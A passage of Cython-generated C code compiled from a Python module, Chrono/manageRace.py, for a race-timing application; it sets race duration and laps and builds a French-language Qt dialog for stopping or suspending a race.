__pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 73, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyNumber_Multiply(__pyx_t_4, __pyx_int_60); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Add(__pyx_t_10, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__Pyx_PyObject_SetAttrStr(__pyx_t_1, __pyx_n_s_raceDuration, __pyx_t_4) < 0) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":70 * gui.nbTourIntNumInput.setValue( Globals.raceLaps ) * dlg.show() * if dlg.exec(): # <<<<<<<<<<<<<< * Globals.raceLaps = gui.nbTourIntNumInput.value() * t = gui.durETimeEdit.time() */ } /* "Chrono/manageRace.py":63 * if index == 0: # nothing to do.... * return * elif index == 1: # Edit the race info # <<<<<<<<<<<<<< * dlg = QDialog() * gui = Ui_set_RaceLen() */ } /* "Chrono/manageRace.py":74 * t = gui.durETimeEdit.time() * Globals.raceDuration = t.hour()*3600 + t.minute()*60 * Globals.MainWindow.B_Define.setCurrentIndex( 0 ) # <<<<<<<<<<<<<< * * def stop(self): */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setCurrentIndex); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":59 * print("manageRace.__init__(%d, %d, %s)"%(duration, laps, status)) * * def requestDefine( index ): # <<<<<<<<<<<<<< * print("def requestDefine(self):") * if index == 0: # nothing to do.... */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_XDECREF(__pyx_t_10); __Pyx_AddTraceback("Chrono.manageRace.manageRace.requestDefine", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_dlg); __Pyx_XDECREF(__pyx_v_gui); __Pyx_XDECREF(__pyx_v_t); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/manageRace.py":76 * Globals.MainWindow.B_Define.setCurrentIndex( 0 ) * * def stop(self): # <<<<<<<<<<<<<< * theRace = Globals.MainWindow.getActualRace() * if theRace._status == manageRace.cmdStart or theRace._status == manageRace.cmdEndTime: */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_5stop(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_10manageRace_10manageRace_5stop = {"stop", (PyCFunction)__pyx_pw_6Chrono_10manageRace_10manageRace_5stop, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_5stop(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("stop (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_10manageRace_10manageRace_4stop(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_4stop(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self) { PyObject *__pyx_v_theRace = NULL; PyObject *__pyx_v_msg = NULL; PyObject *__pyx_v_chk1 = NULL; PyObject *__pyx_v_btn = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_t_4; int __pyx_t_5; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; int __pyx_t_8; __Pyx_RefNannySetupContext("stop", 0); /* "Chrono/manageRace.py":77 * * def stop(self): * theRace = Globals.MainWindow.getActualRace() # <<<<<<<<<<<<<< * if theRace._status == manageRace.cmdStart or theRace._status == manageRace.cmdEndTime: * msg = QMessageBox() */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_getActualRace); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_theRace = __pyx_t_1; __pyx_t_1 = 0; /* "Chrono/manageRace.py":78 * def stop(self): * theRace = Globals.MainWindow.getActualRace() * if theRace._status == manageRace.cmdStart or theRace._status == manageRace.cmdEndTime: # <<<<<<<<<<<<<< * msg = QMessageBox() * msg.setIcon( QMessageBox.Critical) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_theRace, __pyx_n_s_status_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_manageRace); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_cmdStart); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_5 < 0)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (!__pyx_t_5) { } else { __pyx_t_4 = __pyx_t_5; goto __pyx_L4_bool_binop_done; } __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_theRace, __pyx_n_s_status_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_manageRace); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_cmdEndTime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_RichCompare(__pyx_t_2, __pyx_t_1, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_5 < 0)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __pyx_t_5; __pyx_L4_bool_binop_done:; if (__pyx_t_4) { /* "Chrono/manageRace.py":79 * theRace = Globals.MainWindow.getActualRace() * if theRace._status == manageRace.cmdStart or theRace._status == manageRace.cmdEndTime: * msg = QMessageBox() # <<<<<<<<<<<<<< * msg.setIcon( QMessageBox.Critical) * msg.setText( "Arreter la course en cours") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_msg = __pyx_t_3; __pyx_t_3 = 0; /* "Chrono/manageRace.py":80 * if theRace._status == manageRace.cmdStart or theRace._status == manageRace.cmdEndTime: * msg = QMessageBox() * msg.setIcon( QMessageBox.Critical) # <<<<<<<<<<<<<< * msg.setText( "Arreter la course en cours") * msg.setInformativeText( "Tout le classement sera perdu en cas d'arret") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setIcon); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Critical); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":81 * msg = QMessageBox() * msg.setIcon( QMessageBox.Critical) * msg.setText( "Arreter la course en cours") # <<<<<<<<<<<<<< * msg.setInformativeText( "Tout le classement sera perdu en cas d'arret") * msg.setWindowTitle( "Stop de course, Drapeau ROUGE") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":82 * msg.setIcon( QMessageBox.Critical) * msg.setText( "Arreter la course en cours") * msg.setInformativeText( "Tout le classement sera perdu en cas d'arret") # <<<<<<<<<<<<<< * msg.setWindowTitle( "Stop de course, Drapeau ROUGE") * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setInformativeText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":83 * msg.setText( "Arreter la course en cours") * msg.setInformativeText( "Tout le classement sera perdu en cas d'arret") * msg.setWindowTitle( "Stop de course, Drapeau ROUGE") # <<<<<<<<<<<<<< * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) * msg.setDefaultButton( QMessageBox.Cancel ) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setWindowTitle); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":84 * msg.setInformativeText( "Tout le classement sera perdu en cas d'arret") * msg.setWindowTitle( "Stop de course, Drapeau ROUGE") * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) # <<<<<<<<<<<<<< * msg.setDefaultButton( QMessageBox.Cancel ) * chk1 = QCheckBox("Finir le tour") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setStandardButtons); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Ok); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Cancel); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyNumber_Or(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_7}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_7}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":85 * msg.setWindowTitle( "Stop de course, Drapeau ROUGE") * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) * msg.setDefaultButton( QMessageBox.Cancel ) # <<<<<<<<<<<<<< * chk1 = QCheckBox("Finir le tour") * msg.setCheckBox( chk1 ) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setDefaultButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Cancel); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_7}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_7}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":86 * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) * msg.setDefaultButton( QMessageBox.Cancel ) * chk1 = QCheckBox("Finir le tour") # <<<<<<<<<<<<<< * msg.setCheckBox( chk1 ) * btn = msg.addButton("Suspendre la course", QMessageBox.ActionRole) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QCheckBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_chk1 = __pyx_t_3; __pyx_t_3 = 0; /* "Chrono/manageRace.py":87 * msg.setDefaultButton( QMessageBox.Cancel ) * chk1 = QCheckBox("Finir le tour") * msg.setCheckBox( chk1 ) # <<<<<<<<<<<<<< * btn = msg.addButton("Suspendre la course", QMessageBox.ActionRole) * if msg.exec() == QMessageBox.Cancel: */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setCheckBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_chk1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_chk1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if 